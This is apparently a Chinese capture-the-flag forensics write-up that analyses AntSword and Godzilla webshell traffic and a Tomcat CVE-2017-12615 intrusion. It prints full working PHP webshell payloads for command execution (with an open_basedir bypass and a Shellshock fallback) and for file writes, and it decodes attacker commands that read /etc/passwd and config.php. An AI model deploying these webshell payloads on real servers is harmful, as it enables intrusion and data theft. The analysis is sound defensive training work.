玄机
蚁剑流量
1.木马的连接密码是多少
密码为1
2.黑客执行的第一个命令是什么
将传参的代码整理一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
}
$tmdir = $item . "/.d53e47c56e78";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}
function asenc($out) {
return $out;
}
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "2c" . "3f5";
echo @asenc($output);
echo "20" . "c49";
}
ob_start();
try {
$p = base64_decode(substr($_POST["ma569eedd00c3b"], 2));
$s = base64_decode(substr($_POST["ucc3f8650c92ac"], 2));
$envstr = @base64_decode(substr($_POST["e5d0dbe94954b3"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = (substr($d, 0, 1) == "/") ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f) {
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
}
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
} else {
return False;
}
}
return False;
}
function runcmd($c) {
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print(@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("\n", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}
$ret = @runcmd($r . " 2>&1");
print($ret != 0) ? "ret={$ret}" : "";
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}
asoutput();
die();
其会对接受的参数从低三位开始base64解码
解码内容如下1
2
3
4
/bin/sh
cd "/var/www/html";id;echo e124bc;pwd;echo 43523
cd “/var/www/html”不对,但是输入id就对了
黑客读取了哪个文件的内容,提交文件绝对路径

第二个流发现了/etc/passwd
黑客上传了什么文件到服务器,提交文件名

整理一下第三个流1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
}
$tmdir = $item . "/.368479785";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}
function asenc($out) {
return $out;
}
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "6960" . "cb205";
echo @asenc($output);
echo "1e0a" . "91914";
}
ob_start();
try {
$f = base64_decode(substr($_POST["t41ffbc5fb0c04"], 2));
$c = $_POST["ld807e7193493d"];
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
for ($i = 0; $i < strlen($c); $i += 2) {
$buf .= urldecode("%" . substr($c, $i, 2));
}
echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0");
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}
asoutput();
die();
文件名就是$f
即去两位base641
20ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA->/var/www/html/flag.txt
上传文件的内容
看流量可以知道其将$_POST["ld807e7193493d"];
的内容两两加上%然后解码,之后使用fwrite写入文件,即这个流量在文件上传在文件上传
1 |
|

下载的文件路径

流5读取了文件内容,解一下码可以知道文件路径为1
L3Zhci93d3cvaHRtbC9jb25maWcucGhw->/var/www/html/config.php
第六章 流量特征分析-常见攻击事件 tomcat
攻击者ip

明显14.0.0.120用nmap在扫端口
找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}


8080
经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}

账号密码为
直接过滤出http.authorization请求头的流量
解码得到账号密码
admin:tomcat
攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}

传了个war包标准的拿shell流程
攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息

传的马是直接从tcp流里面获取参数
应该是弹shell的命令尝试了后发现是的
哥斯拉4.0流量分析

flag{192.168.31.190}
使用漏洞的cve编号

不难看出来其是使用put文件上传,传shell
CVE-2017-12615 Tomcat PUTflag{CVE-2017-12615}
黑客上传的木马文件叫?
hello.jsp
连接密码为?
1 | <% !String xc = "1710acba6220f62b"; |
flag{7f0e6f}
密钥为?

AES加密key为xcflag{1710acba6220f62b}
webshell连接后的第一条命令为?


我们可以看到其发了两个包才收到有数据的响应报文。我们看其传的马可以知道其请求包的加密方式为
base64->AES(ECB)默认为ECB。
AES的key为代码中的key
可以发现请求的包解密为class文件。
第二个包为一个gz文件
解压一下
其指定了方法名
test就是返回return
而响应需要除前16位和后16位再解密


uname -r
webshell的权限为?

第一次连接webshell时会自带运行getBasicsInfo方法来获取一些信息
黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
一般方法是1
2
3
4uname -a
cat /etc/os-release
lsb_release -a
cat /etc/issue
第48个流发现cat /etc/os-release
Debian GNU/Linux 10 (buster)
黑客利用webshell执行命令还查询并过滤了什么?




dpkg -l libpam-modules:amd64
黑客留下后门的反连的IP和PORT是什么?

什么文件

看到了一个非常大的包猜测其为文件上传的流量包
解密后发现其上传的为ELF文件
pam_unix.so
DNS服务器为?


waf流量
